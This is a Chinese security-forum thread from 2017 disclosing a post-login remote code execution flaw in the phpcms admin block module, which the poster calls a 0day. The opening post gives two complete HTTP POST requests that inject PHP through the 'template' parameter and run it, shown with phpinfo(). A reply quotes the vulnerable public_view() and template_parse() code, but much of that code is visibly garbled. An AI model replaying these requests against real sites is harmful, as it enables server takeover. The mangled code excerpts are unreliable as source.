九零登录

[【通过】] phpcms后台getshell

[复制链接]
发表于 2017-4-5 22:11:22 | 显示全部楼层 |阅读模式
后台发送两个POST请求,即可getshell。

第一个POST请求

POST /phpcms/index.php?m=block&c=block_admin&a=add&pos=2&id=2 HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://127.0.0.1/phpcms/index.ph ... sh=REHvhC&pos=2
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: zAWyw_admin_username=4ebcTXmxUVn5mCe6SHdtpsNIP_nj8I5ZaJGEaS5KmmcwsZWY; zAWyw_siteid=3ad9wdbZYPHkLdFyIIAUtJt6R6wevEXBnZa8X4Up; zAWyw_userid=3aealgUiWoXSrnmlVyXQl7cQ-5dqjKkBR_oVzTMN; zAWyw_admin_email=2f81CAs2JQ_7vR78a0rpb2DBFu0uMOObd6t7JvIHdBa3zCQaj4IxPwsUQg; zAWyw_sys_lang=5ab0J3Xv00a8twTYrQGHMel9qSZK-i2W1an3Ro7YW3iUFA; zAWyw_att_json=0e9dcazNiDgdiHyherkIWDNZF0ReHgihtLZJibfs8_Tad8gmGuhXZ395nV1ZgFEmCHIQU2jUVimcD8nMXAaKI8EgQ3h0Ckrguy0c3VhRNZO2XWR7WLVH2UED1nzkfbW2vC1myJekiM0akyXlCXLEaQsZ4mX_EOMPv362KXWBk8uiESrYcBOEaRYwMT-c; PHPSESSID=qvito6jbgbcurlchaqjg6klfl2
Connection: close
name=122&type=2&dosubmit=&pc_hash=REHvhC&id=2&template=<?php%20phpinfo();?>
2.发送第二个POST请求,即可执行php代码。这里执行phpinfo为例。

POST /phpcms/index.php?m=block&c=block_admin&a=public_view&pos=2&id=4 HTTP/1.1
Host: 127.0.0.1
Content-Length: 70
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://127.0.0.1/phpcms/index.ph ... sh=REHvhC&pos=2
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: zAWyw_admin_username=4ebcTXmxUVn5mCe6SHdtpsNIP_nj8I5ZaJGEaS5KmmcwsZWY; zAWyw_siteid=3ad9wdbZYPHkLdFyIIAUtJt6R6wevEXBnZa8X4Up; zAWyw_userid=3aealgUiWoXSrnmlVyXQl7cQ-5dqjKkBR_oVzTMN; zAWyw_admin_email=2f81CAs2JQ_7vR78a0rpb2DBFu0uMOObd6t7JvIHdBa3zCQaj4IxPwsUQg; zAWyw_sys_lang=5ab0J3Xv00a8twTYrQGHMel9qSZK-i2W1an3Ro7YW3iUFA; zAWyw_att_json=0e9dcazNiDgdiHyherkIWDNZF0ReHgihtLZJibfs8_Tad8gmGuhXZ395nV1ZgFEmCHIQU2jUVimcD8nMXAaKI8EgQ3h0Ckrguy0c3VhRNZO2XWR7WLVH2UED1nzkfbW2vC1myJekiM0akyXlCXLEaQsZ4mX_EOMPv362KXWBk8uiESrYcBOEaRYwMT-c; PHPSESSID=qvito6jbgbcurlchaqjg6klfl2
Connection: close
name=122&type=2&dosubmit=&pc_hash=REHvhC&template=<?php%20phpinfo();?>
其中的id参数需要是第一步操作中id值,pc_hash在复现时也需要改成审核人员自己的。

响应中就有phpinfo信息。
https://forum.90sec.org/forum.php?mod=attachment&aid=MjMzMDB8Yzc0YTI0MTB8MTc5MjY0NjQwNHwwfA%3D%3D

查看源码,可以看到漏洞成因。
phpcms/modules/block/block_admin.php文件中的public_view函数第265行起,写入了一个php文件,并且包含了它。

https://forum.90sec.org/forum.php?mod=attachment&aid=MjMyOTl8YTIxNjIwMzJ8MTc5MjY0NjQwNHwwfA%3D%3D

发表于 2017-4-5 22:25:23 | 显示全部楼层
这又是一枚0day么?还是市面上有分析,你给出了具体利用方式?
发表于 2017-4-5 22:49:55 | 显示全部楼层
是针对所有的版本嘛
 楼主| 发表于 2017-4-6 10:09:51 | 显示全部楼层

RE: phpcms后台getshell

Database 发表于 2017-4-5 22:25
这又是一枚0day么?还是市面上有分析,你给出了具体利用方式?

0day.
 楼主| 发表于 2017-4-6 10:11:09 | 显示全部楼层

RE: phpcms后台getshell

lurker 发表于 2017-4-5 22:49
是针对所有的版本嘛

最新版本测试的
发表于 2017-4-6 11:50:27 | 显示全部楼层
图片挂了 重新传下
发表于 2017-4-6 11:53:24 | 显示全部楼层

RE: phpcms后台getshell

漏洞文件:
/phpcms/modules/block/block_admin.php


public function public_view() {
                $id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) :  exit('0');
                if (!$data = $this->db->get_one(array('id'=>$id))) {
                        showmessage(L('nofound'));
                }
                if ($data['type'] == 1) {
                        exit('<script type="text/javascript">parent.showblock('.$id.', &#255;cf4 .str_replace("", '', $_POST['data']).'&#255;/script>');
                } elseif ($data['type'] == 2) {
                        extract($data);
                        unset($data);
                        $title = isset($_POST['title']) ? $_POST['title'] : '';
                        $url = isset($_POST['url']) ? $_POST['url'] : '';
                        $thumb = isset($_POST['thumb']) ? $_POST['thumb'] : '';
                        $desc = isset($_POST['desc']) ? $_POST['desc'] : '';
                        $template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
                        $data = array();
                        foreach ($title as $key=>$v) {
                                if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue;
                                $data[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('<br />', ' '), $desc[$key]));
                        }
                        $tpl = pc_base::load_sys_class('template_cache');
                        echo $template;
                        $str = $tpl->template_parse(new_stripslashes($template));
                        $filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.'tmp_'.$id.'.php';
                        $dir = dirname($filepath);
                        if(!is_dir($dir)) {
                                @mkdir($dir, 0777, true);
                   }
                  
                   if (@file_put_contents($filepath,$str)) {
                           ob_start();
                                  include $filepath;
                                   $html = ob_get_contents();
                                  ob_clean();
                                  @unlink($filepath);
                   }
                  
                        exit('<script type="text/javascript">parent.showblock('.$id.', &#255;cf4 .str_replace("", '', $html).'&#255;/script>');
                }
        }


首先可以看见最后有一个file_put,$filepath是生成的php文件所以不用担心了,然后看str的内容由来。
$str = $tpl->template_parse(new_stripslashes($template));

这里的$template是post传入的内容,先跟入new_strip
function new_stripslashes($string) {
        if(!is_array($string)) return stripslashes($string);
        foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
        return $string;
}

简单的理解就是处理内容的字符串然后接着看下一个函数
public function template_parse($str) {
                $str = preg_replace ( "/\template+(.+)\/", "<?php include template(\1); ?>", $str );
                $str = preg_replace ( "/\include+(.+)\/", "<?php include \1; ?>", $str );
                $str = preg_replace ( "/\php+(.+)\/", "<?php \1?>", $str );
                $str = preg_replace ( "/\if+(.+?)\/", "<?php if(\1) { ?>", $str );
                $str = preg_replace ( "/\else\/", "<?php } else { ?>", $str );
                $str = preg_replace ( "/\elseif+(.+?)\/", "<?php } elseif (\1) { ?>", $str );
                $str = preg_replace ( "/\\/", "<?php } ?>", $str );
                //for &#209;-&#187;·
                $str = preg_replace("/\for+(.+?)\/","<?php for(\1) { ?>",$str);
                $str = preg_replace("/\\/","<?php } ?>",$str);
                //++ --
                $str = preg_replace("/\+(.+?)\/","<?php ++\1; ?>",$str);
                $str = preg_replace("/\-(.+?)\/","<?php ++\1; ?>",$str);
                $str = preg_replace("/\(.+?)++\/","<?php \1++; ?>",$str);
                $str = preg_replace("/\(.+?)--\/","<?php \1--; ?>",$str);
                $str = preg_replace ( "/\loop+(S+)+(S+)\/", "<?php $n=1;if(is_array(\1)) foreach(\1 AS \2) { ?>", $str );
                $str = preg_replace ( "/\loop+(S+)+(S+)+(S+)\/", "<?php $n=1; if(is_array(\1)) foreach(\1 AS \2 => \3) { ?>", $str );
                $str = preg_replace ( "/\\/", "<?php $n++;}unset($n); ?>", $str );
                $str = preg_replace ( "/\([a-zA-Z_f-][a-zA-Z0-9_f-:]*(([^{}]*)))\/", "<?php echo \1;?>", $str );
                $str = preg_replace ( "/\\$([a-zA-Z_f-][a-zA-Z0-9_f-:]*(([^{}]*)))\/", "<?php echo \1;?>", $str );
                $str = preg_replace ( "/\(\$[a-zA-Z_f-][a-zA-Z0-9_f-]*)\/", "<?php echo \1;?>", $str );
                $str = preg_replace_callback("/\(\$[a-zA-Z0-9_[]&#255;$f-]+)\/s",  array($this, 'addquote'),$str);
                $str = preg_replace ( "/\([A-Z_f-][A-Z0-9_f-]*)\/s", "<?php echo \1;?>", $str );
                $str = preg_replace_callback("/\pc:(+)+([^}]+)\/i", array($this, 'pc_tag_callback'), $str);
                $str = preg_replace_callback("/\\/i", array($this, 'end_pc_tag'), $str);
                $str = "<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>" . $str;
                return $str;
        }
这个就稍微有点意思了!是正则替换str中的内容。
发表于 2017-4-6 14:03:27 | 显示全部楼层
收藏了,这个估计早就有了,应该是刚放出来

九零

GMT+8, 2026-10-22 13:20

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表